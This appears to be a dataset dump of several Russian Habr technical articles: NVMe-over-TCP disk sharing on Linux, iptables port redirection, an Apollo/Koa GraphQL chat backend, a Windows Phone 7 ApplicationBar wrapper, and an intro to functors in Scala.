text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# А все ли врут? Продолжаем издеваться над NVME
[](https://habr.com/ru/company/ruvds/blog/599337/)
А пока мои коллеги [пытаются разобраться с проблемами серверных NVME Raid массивов](https://habr.com/ru/company/ruvds/blog/560404/), я решил посмотреть на проблему с другого ракурса. Ведь NVME — это не только жёсткий диск, но и три-четыре протокола быстропередаваемых данных.
Для многих из нас nvme означает, что мы купили новый компьютер или ультрабук. Жёсткий диск, подключённый напрямую к шине PCIE, позволяет существенно снизить задержки передачи данных и ускорить любую систему. NVME — это ключ к загрузке любой системы за 3 секунды.
Но, на самом деле сам по себе NVME — это не стандарт для жёстких дисков. NVME расшифровывается как NVM Express. NVM, в свою очередь, означает Non-volatile memory, И в первую очередь — это спецификация протокола, который позволяет производить эффективный доступ к данным, хранящимся в энергонезависимой памяти.
А как мы хорошо знаем, протоколы можно запускать на разных носителях. В этой статье мы будем издеваться над моим лэптопом с Ubuntu Linux 21 на борту, подключая его жёсткий диск к разным серверам. Вы можете посетовать, что всё это игрушки, но хороший администратор со свитчем, позволяющим поддерживать скорости более 10 гигабит в секунду, должен взять это на заметку. Вы можете получить удалённый доступ к вашим nvme жёстким дискам через tcp/ip без уловок и мошенства.
Поехали.
▍ Краткое введение
------------------
Итак, давайте начнём с небольшого погружения в инструкции. В [этой публикации](https://nvmexpress.org/wp-content/uploads/2013/04/NVM_whitepaper.pdf) от 2013 года вы можете почитать о том, что такое протокол NVME, и узнать, зачем он создавался. Этот документ вполне реально прочитать. В нём всего пять страниц текста. Остальные мануалы на nvmexpress.org не настолько щадящие. Там вам придётся прорываться через 500 страничные талмуды. Так что можете окунуться, если вас не смущает английский язык.
Для тех, кому лень читать, вот основные идеи в этом протоколе:
* Поддержка 64 тысяч очередей для ввода-вывода команд, где каждая очередь поддерживает до 64 тысяч инструкций.
* Вся информация, необходимая для прочтения блока в 4 килобайте содержится в самой 64-х битной команде. Это означает, что случайное чтение маленьких блоков может происходить очень быстро.
* Поддержка пространств имён.
* Поддержка SR-IOV (Single Root I/O Virtualization) — технологии, которая позволяет виртуализировать устройства для ввода-вывода информации.
Подобные моменты очень важны для современных систем, где мы практически не видим жизни без виртуализации.
Итак, давайте попробуем воспользоваться протоколом NVME. В интернете существует один мануал, который рассказывает, как подключать эти диски. И к сожалению, это просто копи-паст одного и того же документа. Помимо пары ошибок, он просто не содержит в себе сколь-либо действенного описания того, что и как надо делать для того, чтобы подключить NVME диск через сеть.
Посему начнём.
▍ Подготовка системы
--------------------
Для начала вам нужно будет установить свежее ядро для вашего линукса. Debian 11 и Ubuntu 21.10 поддерживают nvme “из коробки”. Возможно, у вас возникнут проблемы, если вы работаете с CentOS.
Если вдруг у вас в руках Gentoo или вы заходите собрать ядро сами, то включите следующие флаги при сборке ядра:
```
CONFIG_NVME_TCP=m
CONFIG_NVME_TARGET_TCP=m
```
Далее, нам нужно будет установить nvme-cli для того, чтобы работать с самими дисками. По этой ссылке вы сможете раскопать более подробную инструкцию о том, как пользоваться этой программой. [nvmexpress.org/open-source-nvme-management-utility-nvme-command-line-interface-nvme-cli](https://nvmexpress.org/open-source-nvme-management-utility-nvme-command-line-interface-nvme-cli/)
```
apt install nvme-cli
```
Теперь можно загружать модули ядра. Для клиента нам нужно будет подключать модуль nvme. На моём лаптопе он постоянно загружен, так как он работает с nvme. Для того чтобы “расшарить” nvme диск вам понадобятся два других модуля.
```
modprobe nvmet
modprobe nvmet-tcp
```
▍ Сетевой стек
--------------
nvme**t** означает nmve-transport. Это драйвер транспортного протокола. Драйвер существует для нескольких типов протоколов передачи информации. Loop для передачи данных на одном хосте и tcp и fabrics для сетевой передачи данных. Fabrics предназначен для работы с fibre channel системами и не является особо доступным для малого бизнеса. Но к счастью для нас, у нас в руках есть TCP.
Хочу оговориться, что на самом деле, сам протокол не использует TCP/IP сокеты для передачи данных. Посмотрите на знаменитую картинку, слитую с сайта Oracle. Если соединение будет происходить через стэк TCP/IP, то передача данных будет осуществляться контроллером напрямую. Фактически, порт, к которому вы будете подключать устройство, будет отдан на растерзание драйверу, и после установки соединения вам не нужно будет беспокоиться о том, что что-то может остановить 6 гигабит в секунду. Вы полностью обходите Socket API для передачи информации.
Хорошо, загрузили драйверы.
▍ Подсистемы (subsystems)
-------------------------
Идём дальше. Конфигурацию можно производить из nvme-cli или путём создания и изменения файлов в /sys/kernel/config/. Туда и отправимся.
Для начала нам нужно будет создать подсистему (subsystem). В документации подсистема описана как набор информации о том, какой контроллер, порт и пространства имён нужно использовать для установки соединения. (It's a set of all information of what controller, port, namespace and device to use for a connection).
Посему заходим в
```
cd /sys/kernel/config/nvmet/subsystems
```
И создаём там папку с названием нашей подсистемы. Название может быть произвольным, но учтите, что вам придётся его использовать как на клиенте, так и на сервере. Так что не нужно писать что-то очень сложное.
```
mkdir test
```
После захода в эту директорию мы можем осмотреться. На данном этапе нас интересует один фаил — attr\_allow\_any\_host.
```
cat attr_allow_any_host
#0
```
По умолчанию никто не сможет подключится к вашей подсистеме, если они не находятся в списке allowed\_hosts (см директорию в папке). Упростив задачу, вы сможете просто разрешить подключения с любого хоста, сделав следующее.
```
echo -n 1 > attr_allow_any_host
```
(Учтите, система очень придирчива к чтению конфигурации и ненужные /n могут натворить проблем. Поэтому придётся не забывать флаг -n во всех echo командах).
▍ Пространства имён (namespaces)
--------------------------------
После этого забираемся в папку namespaces и начинаем создавать пространства имён.
```
mkdir 1
```
Это создаст пространство имён #1.
В отличие от подсистем, пространства имён называются по номерам. Заходим и осматриваемся
```
ls -lah
total 0
-rw-r--r-- 1 root root 4.0K Jan 3 09:31 ana_grpid
-rw-r--r-- 1 root root 4.0K Jan 3 09:31 buffered_io
-rw-r--r-- 1 root root 4.0K Jan 3 09:31 device_nguid
-rw-r--r-- 1 root root 4.0K Jan 2 17:36 device_path
-rw-r--r-- 1 root root 4.0K Jan 3 09:31 device_uuid
-rw-r--r-- 1 root root 4.0K Jan 2 17:36 enable
--w------- 1 root root 4.0K Jan 3 09:31 revalidate_size
```
Здесь мы можем произвести определённые настройки конкретного пространства имён.
Давайте отвлечёмся на секунду и посмотрим на жёсткий диск на моём лаптопе.
```
ls /dev/nvme* -lah
crw------- 1 root root 238, 0 Jan 2 17:31 /dev/nvme0
brw-rw---- 1 root disk 259, 0 Jan 2 17:31 /dev/nvme0n1
brw-rw---- 1 root disk 259, 1 Jan 2 17:31 /dev/nvme0n1p1
brw-rw---- 1 root disk 259, 2 Jan 2 17:31 /dev/nvme0n1p2
brw-rw---- 1 root disk 259, 3 Jan 2 17:31 /dev/nvme0n1p3
brw-rw---- 1 root disk 259, 4 Jan 2 17:31 /dev/nvme0n1p4
brw-rw---- 1 root disk 259, 5 Jan 2 17:31 /dev/nvme0n1p5
brw-rw---- 1 root disk 259, 6 Jan 2 17:31 /dev/nvme0n1p6
```
Никогда не замечали, что в NVME диски называются совсем не так, как привычные нам block устройства, sda, sdb и так далее. Уж слишком много циферок в этих nvme.
Первая цифра означает номер устройства. Диска. Это как раз и есть subsystem.
Вторая цифра (n) это namespace, в данном случае, на моём лаптопе все диски идут под одним пространством имён.
Третья цифра (p) обозначает уже привычные нам partitions, разделы.
Ок, разобрались с номенклатурой, давайте вернёмся к настройкам нашего namespace. Итак, в данном случае вы можете указать, какие диски будут являться частью вашего пространства имён, путём записи их в device\_path
```
echo -n /dev/nvme0 > device_path
```
Теперь можно попробовать включить это пространство имён. Делаем
```
echo -n 1 > enabled
```
После этого у вас либо всё включится, либо ничего не включится. Узнать об это можно будет только после прочёса.
```
dmesg | grep nvmet
```
Там же вы можете прочитать настоящие сообщения об ошибках, если таковые имеются.
```
[ 845.255544] nvmet: creating controller 1 for subsystem c413bb88-69e7-4d38-8d4c-081bce31ca47 for NQN nqn.2014-08.org.nvmexpress:uuid:d6d1a339-34d4-4ae0-be29-4375c2eeaf2c.
[ 912.892151] nvmet: adding nsid 2 to subsystem c413bb88-69e7-4d38-8d4c-081bce31ca47
[ 950.873917] nvmet: creating controller 1 for subsystem c413bb88-69e7-4d38-8d4c-081bce31ca47 for NQN nqn.2014-08.org.nvmexpress:uuid:d6d1a339-34d4-4ae0-be29-4375c2eeaf2c.
[ 1323.410291] nvmet: adding nsid 3 to subsystem c413bb88-69e7-4d38-8d4c-081bce31ca47
```
В данном случае я насоздавал 3 разных пространства имён. (Для названия подсистемы я использовал guid, так что не обращайте внимания на этот длинный c4… Это просто часть имени подсистемы.
▍ Порты (Ports)
---------------
Всё выглядит неплохо. Теперь мы можем сконфигурировать порт и подключить нашу подсистему к этому порту. Возвращаемся назад в /sys/kernel/config/nvmet/ и идём в ports.
Как обычно, создаём новый порт, путём создания директории. Все порты нумеруются начиная с единицы, так что присваивать им имена не получится.
```
mkdir 1
```
После этого — осматриваемся
```
# ls -lah
total 0
-rw-r--r-- 1 root root 4.0K Jan 2 17:38 addr_adrfam
-rw-r--r-- 1 root root 4.0K Jan 2 17:37 addr_traddr
-rw-r--r-- 1 root root 4.0K Jan 3 10:07 addr_treq
-rw-r--r-- 1 root root 4.0K Jan 2 17:37 addr_trsvcid
-rw-r--r-- 1 root root 4.0K Jan 2 17:41 addr_trtype
drwxr-xr-x 3 root root 0 Jan 2 17:36 ana_groups
-rw-r--r-- 1 root root 4.0K Jan 3 10:07 param_inline_data_size
-rw-r--r-- 1 root root 4.0K Jan 3 10:07 param_pi_enable
drwxr-xr-x 2 root root 0 Jan 2 17:36 referrals
drwxr-xr-x 2 root root 0 Jan 2 17:45 subsystems
```
Конфигурация такая же, как и в подсистемах. С помощью echo выгружаем следующие параметры в файлы:
**addr\_taddr** — адрес, на который надо биндиться.
**addr\_trsvcid** — порт, к которому присоединяемся. Обычно это 4420.
**addr\_trtype** — тип протокола. В нашем случае это будет tcp
**addr\_adrfam** — тип адреса — ipv4
Так, теперь у нас есть настроенный порт, пора подключать нашу подсистему к хосту. Для этого в настройках порта заходим в папку subsystems и создаём ссылку на подсистему, которую мы создали ранее.
```
ln -s ../../../subsystems/test .
```
(Что самое приятное, система не даст вам натворить тут бед. Вы не сможете создать неправильную ссылку и запороть таким образом жёсткий диск. Убедитесь, что вы понимаете синтаксис команды ln и создаёте ссылку в правильной директории.)
В моём случае получается следующее:
```
# ls -lah
lrwxrwxrwx 1 root root 0 Jan 2 17:45 c413bb88-69e7-4d38-8d4c-081bce31ca47 -> ../../../../nvmet/subsystems/c413bb88-69e7-4d38-8d4c-081bce31ca47
```
Ок, хорошо. Осталось проверить, что всё запустилось. При этом в dmesg вы увидите что-то вроде:
```
[ 570.105916] nvmet_tcp: enabling port 1 (10.10.1.42:4420)
```
Отлично! Всё работает. Если не работает, то вы увидите причину ошибки, идите и исправляйте файлы конфигурации. Они обычно очевидные. Не тот тип протокола или неправильный адрес.
▍ Клиент
--------
(Не забудьте сделать `modprobe nvme` и `modprobe nvme-tcp` на клиенте, или положите их в `/etc/modules`)
Осталось подключиться к жёсткому диску на клиенте. На клиенте, кстати, у меня запущен Debian 11, в котором я ничего не перенастраивал, и единственное, что я сделал, была установка nvme-cli
Запускаем команду
```
nvme connect -t tcp -n test -a 10.10.1.42 -s 4420
```
И проверяем наши жёсткие диски в системе.
```
# nvme list
Node SN Model Namespace Usage Format FW Rev
---------------- -------------------- ---------------------------------------- --------- -------------------------- ---------------- --------
/dev/nvme0n1 76b9b4aeef600ece Linux 1 521.00 GB / 521.00 GB 512 B + 0 B 5.13.0-2
```
Ок, всё работает. Клиент видит диск. Делаем
```
ls /dev/nvme* -lah
crw------- 1 root root 238, 0 Jan 2 17:31 /dev/nvme0
brw-rw---- 1 root disk 259, 0 Jan 2 17:31 /dev/nvme0n1
brw-rw---- 1 root disk 259, 1 Jan 2 17:31 /dev/nvme0n1p1
brw-rw---- 1 root disk 259, 2 Jan 2 17:31 /dev/nvme0n1p2
brw-rw---- 1 root disk 259, 3 Jan 2 17:31 /dev/nvme0n1p3
brw-rw---- 1 root disk 259, 4 Jan 2 17:31 /dev/nvme0n1p4
brw-rw---- 1 root disk 259, 5 Jan 2 17:31 /dev/nvme0n1p5
brw-rw---- 1 root disk 259, 6 Jan 2 17:31 /dev/nvme0n1p6
```
И — о чудо! Весь жёсткий диск просто “перекочевал” на клиент.
▍ Аккуратнее!
-------------
И вот тут я совершил свою первую ошибку. Шестой раздел моего ноутбука был примонтирован как корневая файловая система моего линукса. Я решил рискнуть и примонтировать его как файловую систему на клиенте.
И знаете что? Мне это удалось!
~~Без проблем.~~ Просто mount отлично сработал и я получил доступ к файловой системе.
Я проверил скорость работы диска, и у меня вышло реальных 20 мегабайт в секунду. Неплохо, учитывая то, что всё это делается по Wi-Fi.
После этого мой лэптоп начал шалить. Естественно, всё было весело, до тех пор, пока я не посмотрел на корневую систему с моего устройства и не выяснил, что она была заботливо перемонтирована с флагом RO.
Попытка отмонтировать эту систему на удалённом хосте не увенчалась успехом. Device busy, и всё. Попытка перемонтировать систему на локальном хосте была неудачной, и пришлось перезагрузиться. Ну как, пришлось начать перезагрузку, ведь закончить её не удалось, потому что система отказалась грузиться.
После небольшого количества fsck мне удалось всё поднять. Я решил больше не издеваться над самой файловой системой моего основного диска.
Вывод был следующим:
Использование утилит для работы с дисками, таких как fdiks, gparted и lvm — вполне возможно на двух хостах сразу. Вы можете создать новый раздел на удалённом хосте или вообще записать на него новую таблицу разделов. Это вполне законно. Главное, не пытаться монтировать эти разделы.
Монтирование ext4 разделов на двух хостах одновременно создаёт большое количество проблем.
Для того чтобы монтировать систему на нескольких хостах одновременно, вам будет нужна какая-нибудь [кластерная файловая система](https://wikiless.org/wiki/Clustered_file_system?lang=en).
Хорошо, разобравшись с тем, что делать можно и чего нельзя, я взялся за дополнительное тестирование.
И вот тут я открыл для себя странную возможность NVMET. Я подумал, что играться с единственным жёстким диском в системе на основном компьютере — это не кайф. Под рукой ничего подходящего не было, так что я взял 32х гигабайтную флешку, разрезал её на десяток разделов и начал эксперименты.
С точки зрения самой системы, это не запрещено — вы можете использовать NVME для доступа к любым устройствам хранения данных. Проблема в том, что NVME заточен для работы с NVM устройствами, а старые добрые крутящиеся жёсткие диски таковыми не являются. Это как если бы вы использовали танкер для перевозки одного чемодана. В принципе вы правы.
Я вернулся в настройки своего пространства имён и подключил различные **разделы** на своей флешке, как **пространства имён** в настройках NVME… И всё заработало!
Так как я не пытался монтировать файловые системы на двух хостах, то ничего ужасного не происходило.
Вот пример того, что получилось сделать:
На “сервере”:
```
lsblk
sdb 8:16 1 29.3G 0 disk
├─sdb1 8:17 1 1.9G 0 part
├─sdb2 8:18 1 1.9G 0 part
├─sdb3 8:19 1 1.9G 0 part
├─sdb4 8:20 1 1.9G 0 part
├─sdb5 8:21 1 1.9G 0 part
└─sdb6 8:22 1 1.8G 0 part
```
У нас есть большой диск с разделами по 2 гигабайта.
Создаём namespace в настройках nvme и в device\_path указываем следующее:
```
# cat device_path
/dev/sdb1
```
После чего монтируем этот диск по сети и смотрим, что примонтировалось на “клиенте”
```
lsblk
nvme0n1 259:6 0 1.9G 0 disk
nvme0n2 259:21 0 1.9G 0 disk
nvme0n3 259:23 0 1.9G 0 disk
```
Наша обыкновенная глупая флешка, подключённая по usb 2.0 представлена как NVME диск на удалённом хосте. Причём она представляет собою три разных диска, так как я создал 3 разных пространства имён.
После этого давайте поупражняемся немного с LVM и создадим новый том на одном из этих дисков на “клиенте”
```
nvme0n1 259:6 0 1.9G 0 disk
└─egdisk1-lvol0 253:0 0 1.9G 0 lvm
nvme0n2 259:21 0 1.9G 0 disk
nvme0n3 259:23 0 1.9G 0 disk
```
А теперь, внимание, без перемонтирования или чего-либо ещё, идём и смотрим на флешку с точки зрения сервера:
```
sdb 8:16 1 29.3G 0 disk
├─sdb1 8:17 1 1.9G 0 part
│ └─egdisk1-lvol0 253:0 0 1.9G 0 lvm
├─sdb2 8:18 1 1.9G 0 part
├─sdb3 8:19 1 1.9G 0 part
├─sdb4 8:20 1 1.9G 0 part
├─sdb5 8:21 1 1.9G 0 part
└─sdb6 8:22 1 1.8G 0 part
```
Бум! ОС распознаёт разделы! Всё работает более чем правильно.
Но погодите! Это ещё не всё.
При работе с подсистемой, каждый раз, когда я вносил изменения в namespaces, я отключал удалённый диск и выключал порт, чтобы сделать всё безопасно.
Но, как оказалось на практике, делать этого не нужно.
Вы можете пойти в настройки подсистемы и создать новые пространства имён прямо на ходу. При этом “клиент” автоматически “увидит” изменения в настройках диска и добавит тома в /dev/nvme\*.
Интересно, подумал я. NVME предоставляет огромное количество инструментов для работы с удалёнными жёсткими дисками. Ввиду всего этого, мне захотелось собрать больше реальных данных.
Посему я закупил четыре серверных NVME на 512 гигабайт (CL SN720, которые, судя [по документации](https://documents.westerndigital.com/content/dam/doc-library/en_us/assets/public/western-digital/collateral/product-brief/product-brief-cl-sn720-nvme-ssd.pdf), позиционируются как серверные NVME диски.), десять SAS SSDs, и 10Gbps сетевые адаптеры. Всё это готовится к работе, и в скором времени я выложу отчёт о производительности. Задача — измерение производительности дисковых устройств при работе с TCP/IP. Ждите новой статьи через неделю.
Адаптеры с адаптерами на адаптере.
Диски в адаптере. Внимание! Не используйте в настоящих серверах! Для этого есть форм-факторы получше.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Nurked&utm_content=a_vse_li_vrut_prodolzhaem_izdevatsya_nad_nvme) | https://habr.com/ru/post/599337/ | null | ru | null |
# Iptables: немного о действии REDIRECT, его ограничениях и области применения
Данная заметка повествует о действии REDIRECT в iptables, его ограничениях и области применения.
Iptables и REDIRECT
===================
Действие REDIRECT предназначено для перенаправления пакетов с одного набора портов на другой внутри одной системы, **не выходя за пределы хоста**.
Работает REDIRECT только в цепочках PREROUTING и OUTPUT таблицы nat. Таким образом, область применения сводится только к перенаправлению с одного порта на другой. Чаще всего это используется для прозрачного прокси, когда клиент из локальной сети коннектится на 80 порт, а шлюз редиректит пакеты на локальный порт прокси:
```
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 3128
```
Кейс
----
Допустим, надо сменить порт приложения только перенаправлением при помощи iptables, не трогая настроек демона. Пусть новый порт будет 5555, а порт приложения 22. Таким образом, надо сделать редирект с порта 5555 на 22.
REDIRECT и удаленный клиент
---------------------------
Первый шаг очевиден и будет таким же, что и в примере выше:
```
iptables -t nat -A PREROUTING -p tcp --dport 5555 -j REDIRECT --to-port 22
```
Однако, правило будет работать только для внешних клиентов и только при открытом порте приложения.
REDIRECT и локальный клиент
---------------------------
Предыдущее правило для самого хоста с iptables не сработает, т.к. пакеты с localhost не попадают в таблицу nat. Чтобы кейс сработал на локальной машине — надо добавить редирект в цепочку OUTPUT таблицы nat:
```
iptables -t nat -A OUTPUT -p tcp -s 127.0.0.1 --dport 5555 -j REDIRECT --to-ports 22
```
Теперь локальный клиент тоже может подключиться по 5555 порту.
REDIRECT и закрытый порт
------------------------
Смысл кейса в том, чтобы использовать левый порт, а порт приложения держать закрытым, но если выполнить DROP правило в INPUT цепочке по 22 порту, то 5555 тоже перестанет отвечать. Собственно, хитрость в том, чтобы открыть порт приложения в INPUT цепочке, а дропать его в mangle:
```
iptables -t mangle -A PREROUTING -p tcp --dport 22 -j DROP
```
Полный набор правил
-------------------
Редирект с сетевым и локальным доступом при закрытом порте приложения:
```
iptables -t nat -A PREROUTING -p tcp --dport 5555 -j REDIRECT --to-port 22
iptables -t nat -A OUTPUT -p tcp -s 127.0.0.1 --dport 5555 -j REDIRECT --to-ports 22
iptables -A INPUT -p tcp --dport 5555 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -t mangle -A PREROUTING -p tcp --dport 22 -j DROP
iptables -P INPUT DROP
``` | https://habr.com/ru/post/324276/ | null | ru | null |
# Создание бэкенд приложения для онлайн чата Apollo, Node.js
Некоторое время назад я работал над мобильным приложением, функционал которого включал в себя удобный онлайн-чат. И теперь я решил написать статью с краткой инструкцией, как создать чат, используя apollo server и node.js на бэкенде, а так же react native и apollo client на клиентской части.
Статья разбита на две части для удобства прочтения. В первой части содержится гайд по созданию бэкенд приложения, а во второй — гайд по созданию фронтенд приложения.
Если вам лень читать, можно сразу посмотреть код в Github’e [здесь](https://github.com/andreysaleba/chat-graphql) и [здесь](https://github.com/andreysaleba/react-native-chat).
В качестве основных технологий для реализации я выбрал node.js фреймворк [koa](https://koajs.com/), базу данных [postgresql](https://www.postgresql.org/), а так же GraphQL сервер — [apollo-server-koa](https://github.com/apollographql/apollo-server/tree/master/packages/apollo-server-koa).
Первым делом, был сгенерирован пустой koa2 проект, для этого я использовал простой [koa-generator](https://github.com/ykfe/koa-generator), выполнив в терминале команду:
```
$ koa
```
Далее были установлены необходимые зависимости, я делаю это с помощью yarn, но вы можете воспользоваться npm.
```
$ yarn add apollo-server-koa knex objection pg
```
### Все необходимые библиотеки установлены, теперь можно писать код
Для подключения к БД нужно описать два файла, первый из них — db.js, который будет экспортировать инстанс клиента knex и позволит нашим моделям работать с даннными из базы, второй — knexfile.js, который содержит в себе настройки подключения к БД для создания и накатывания миграций.
**Код db.js описан ниже, обратите внимание, что все настройки берутся из переменных окружения:**
```
const db = require('knex')({
client: 'pg',
connection: {
host : process.env.POSTGRES_HOST,
port: process.env.POSTGRES_PORT,
user : process.env.POSTGRES_USER,
password : process.env.POSTGRES_PASSWORD,
database : process.env.POSTGRES_DATABASE
}
});
module.exports = db;
```
Код knexfile.js доступен по [ссылке](https://github.com/andreysaleba/chat-graphql/blob/master/knexfile.js).
#### Теперь можно описать миграции для создания двух необходимых нам таблиц
Сами таблицы будут максимально просты и содержать лишь минимальный необходимый набор полей. Команда для их создания ниже:
```
$ knex migrate:make migration_name
```
Посмотреть файлы миграций можно по [ссылке](https://github.com/andreysaleba/chat-graphql/tree/master/migrations).
#### Теперь создадим модели сущностей Message и User
```
class Message extends Model {
static get tableName() {
return 'messages';
}
$beforeInsert() {
this.created_at = new Date().toISOString();
}
static get relationMappings() {
return {
user: {
relation: Model.BelongsToOneRelation,
modelClass: User,
join: {
from: 'messages.user_id',
to: 'users.id'
}
}
};
}
}
```
Осталось самое интересное — подключение и настройка apollo-server-koa, описание graphql схемы и резолверов.
#### Для подключения apollo-server-koa достаточно добавить следующие строки кода
**app.js:**
```
const { ApolloServer } = require('apollo-server-koa');
const graphqlSchema = require('./graphqlSchema');
…
const apolloServer = new ApolloServer(graphqlSchema);
apolloServer.applyMiddleware({ app });
```
**www:**
```
var { app, apolloServer } = require('../app');
...
apolloServer.installSubscriptionHandlers(server);
```
Помимо подключения apollo-server-koa, мы включили возможность работы с подписками для оповещения клиентов о том, что в чате пришло новое сообщение.
#### Apollo-server-koa подключен, следующий шаг — описание graphql-схемы с необходимыми для чата типами
```
input UserInput {
username: String!
}
input MessageInput {
text: String!
user_id: ID!
}
type User {
id: ID
username: String
}
type Message {
id: ID
text: String
created_at: String
user: User
}
type Query {
getLast100Messages: [Message]
}
type Mutation {
findOrCreateUser(user: UserInput!): User
createMessage(message: MessageInput!): Message
}
type Subscription {
messageCreated: Message
}
```
#### Схема готова, опишем резолверы
**Пример резолвера для отправки нового сообщения:**
```
const Message = require('../../models/message');
const { pubsub, MESSAGE_CREATED } = require('../../utils');
module.exports = {
createMessage: async (obj, { message }, context, info) => {
const createdMessage = await Message
.query()
.insert(message);
const resultMessage = await Message
.query()
.eager('user')
.findById(createdMessage.id);
pubsub.publish(MESSAGE_CREATED, { messageCreated: resultMessage });
return resultMessage;
},
};
```
**Интересный момент** — помимо сохранения сообщения в БД, здесь вызывается функция publish() которая оповещает всех подписчиков о событии MESSAGE\_CREATED, отправляя им объект нового сообщения (внимательный читатель заметит, что отправитель тоже будет оповещен о своем же новом сообщении, и мы обработаем это далее на клиенте, в реальном же проекте имеет смысл обработать это на стороне бекенда, чтобы не дублировать логику среди различных клиентов).
С кодом оставшихся резволеров можно ознакомиться по [ссылке](https://github.com/andreysaleba/chat-graphql/tree/master/resolvers).
#### Серверная часть чата готова, как проверить, что все работает?
Откройте [хост](http://localhost:3000/graphql) в своем браузере и в нем вы увидите graphql playground.
[В следующей части](https://habr.com/ru/post/471712/) мы займемся созданием мобильного приложения. | https://habr.com/ru/post/470756/ | null | ru | null |
# AdvancedApplicationBar. Улучшаем возможности ApplicationBar в WP7
У многих разработчиков WP7 вызывает неприятное удивление реализация ApplicationBar. ~~В шутку ходят грязные слухи, что эта компонента разрабатывалась вообще не в МС, а командой не имеющего к silverilght никакого отношения, которые написали компоненту по затребованному интерфейсу~~
Так как в нескольких проектах мне приходилось активно работать с ApplicationBar, я написал обертку AdvancedApplicationBar, которая позволяет значительно сократить объемы кода. По сути наиболее часто встречающиеся проблемы можно решить одними лишь разметками в XAML.
Итак, основные претензии к ApplicationBar которые часто можно услышать:
Для тех, кто вкусил вкусности MVVM неприятным открытием было отсутствие поддержки привязки данных (DataBinding), и соответственно, отсутствие поддержки ICommand. Гораздо приятнее, к примеру, IsEnabled свойство устанавливать из ViewModel-и, нежели писать фоновый код.
Отсутствие свойства Visibility — иногда приходится скрывать некоторые элементы в зависимости от определенных условий.
с ApplicationBar неудобно работать вместе с Panorama и/или Pivot. Довольно часто необходимо отображать разные элементы на каждой вкладке. Частично выручают ApplicationBar в ресурсах, которые подменяются на событии SelectionChanged, но при этом значительно усложняется код для поддержки свойств IsEnabled и т.д.
Кроме того, если одна и та же кнопка должна отображаться всегда, приходится дублировать его в каждой реализации.
К сожалению, для решения этих проблем нельзя воспользоваться расширением, так как ApplicationBar нельзя расширить, можно только наследовать, давая некоторые возможности [улучшения](http://akhmed.ru/post/2011/11/21/ApplicationBar.aspx). Но тем не менее не такие удобные возможности, как при расширении.
Также, несмотря на то что ApplicationBar реализует интерфейс IApplicationBar, которое является свойством Page, нельзя подменить на альтернативную реализацию, так как принимается только реализация ApplicationBar.
при разработке [AdvancedApplicationBar](http://shwp.codeplex.com/releases/view/76914) я старался предоставлять решение типовых проблем одними разметками в XAML, без необходимости писать фоновый код.
**Как подключить**
Для использования надо добавить ссылку на sh.dll и добавить на страницу пространство xmlns:Sh=«clr-namespace:Sh;assembly=Sh»
Так как AdvancedApplicationBar работает как обертка над основным ApplicationBar, его надо разместить внутри основной панели (обычно Grid)
```
...
...
```
**Основные возможности:**
Поддержка привязки данных DataBinding, поддержка ICommand
Text="{Binding AppBarIconButtonText}"
IconUri="{Binding AppBarIconButtonText}"
Visibility="{Binding Visibility}"
Command="{Binding DeleteCommand}"
CommandParameter=«42»
/>
**Поддержка Panorama / Pivot:**
Так как практически в каждом приложении необходимо было реализовывать возможность указания разных кнопок в ApplicationBar для каждой вкладки Panorama и иногда Pivot, я решил отказаться от необходимости добавления AppButton-ов и MenuItem-ов только внутри ApplicationBar.
К примеру, если нам надо надо что бы на странице всегда были кнопки добавления на первом месте и кнопку настроек в конце и между ними у нас должны быть элементы специфичные для конкретных вкладок панорамы, мы можем кнопку добавления расположить ДО панорамы, в каждом PanoramaItem-е можем разместить нужные нам AdvancedApplicationBarIconButton и AdvancedApplicationBarMenuItem:
и в конце можем разместить кнопку настроек.
Схематично:
```
...
```
Небольшая иллюстрация возможности работы с AdvancedApplicationBar без дополнительного кода, одними средствами XAML (и взаимодействие с AppBar через DataBinding):
Скачать библиотеку и исходный код с демонстрацией можно [здесь](http://shwp.codeplex.com/releases/view/76914)
[via akhmed.ru](http://akhmed.ru/post/2011/12/15/AdvancedApplicationBar-%D1%83%D0%BB%D1%83%D1%87%D1%88%D0%B0%D0%B5%D0%BC-%D0%B2%D0%BE%D0%B7%D0%BC%D0%BE%D0%B6%D0%BD%D0%BE%D1%81%D1%82%D0%B8-%D1%81%D1%82%D0%B0%D0%BD%D0%B4%D0%B0%D1%80%D1%82%D0%BD%D1%8B%D0%B8-ApplicationBar.aspx) | https://habr.com/ru/post/134641/ | null | ru | null |
# FP на Scala: Что такое функтор?
Специалист, приступающий к изучению функционального программирования, сталкивается как с неоднозначностью и запутанностью терминологии, так и с постоянными ссылками на «серьезную математику».
В этой статье, не используя теорию категорий с одной стороны и эзотерические языковые механизмы Scala с другой стороны, рассмотрены два важнейших понятия
* **ко-вариантный функтор**
* **контра-вариантный функтор**
которые являются стартовой точкой для понимания всего множества категориальных конструкций, куда можно включить
* **Exponential (Invariant) Functor**, **BiFunctor**, **ProFunctor**
* **Applicative Functor**, **Arrow**, **Monad / Co-Monad**
* **Monad Transformers**, **Kleisli**, **Natural Transformations**
Объяснено происхождение категориальной терминологии, указана роль языковых механизмов в реализации категориальных абстракций и рассмотрено несколько ковариантных (**[Option](http://www.scala-lang.org/api/current/index.html#scala.Option), [Try](http://www.scala-lang.org/files/archive/nightly/docs/library/index.html#scala.util.Try), [Future](http://www.scala-lang.org/files/archive/nightly/docs/library/index.html#scala.concurrent.Future), [List](http://www.scala-lang.org/api/current/index.html#scala.collection.immutable.List), [Parser](http://www.scala-lang.org/api/2.10.2/index.html#scala.util.parsing.combinator.Parsers$Parser)**) и контравариантных (**[Ordering](http://www.scala-lang.org/api/current/index.html#scala.math.Ordering), [Equiv](http://www.scala-lang.org/api/current/index.html#scala.math.Equiv)**) функторов из стандартной библиотеки Scala.
Первая статья в «категориальной серии»:
1. FP на Scala: что такое функтор?
2. [FP на Scala: Invariant Functor](http://habrahabr.ru/company/golovachcourses/blog/267087/)
Если Вы желаете сильнее погрузиться в мир Scala, математики и функционального программирования — попробуйте **онлайн-курс [«Scala for Java Developers»](https://www.udemy.com/scala-for-java-developers-ru/?couponCode=HABR-COVARIANT-FUNCTOR)** (видео + тесты, всего за 25% цены!).
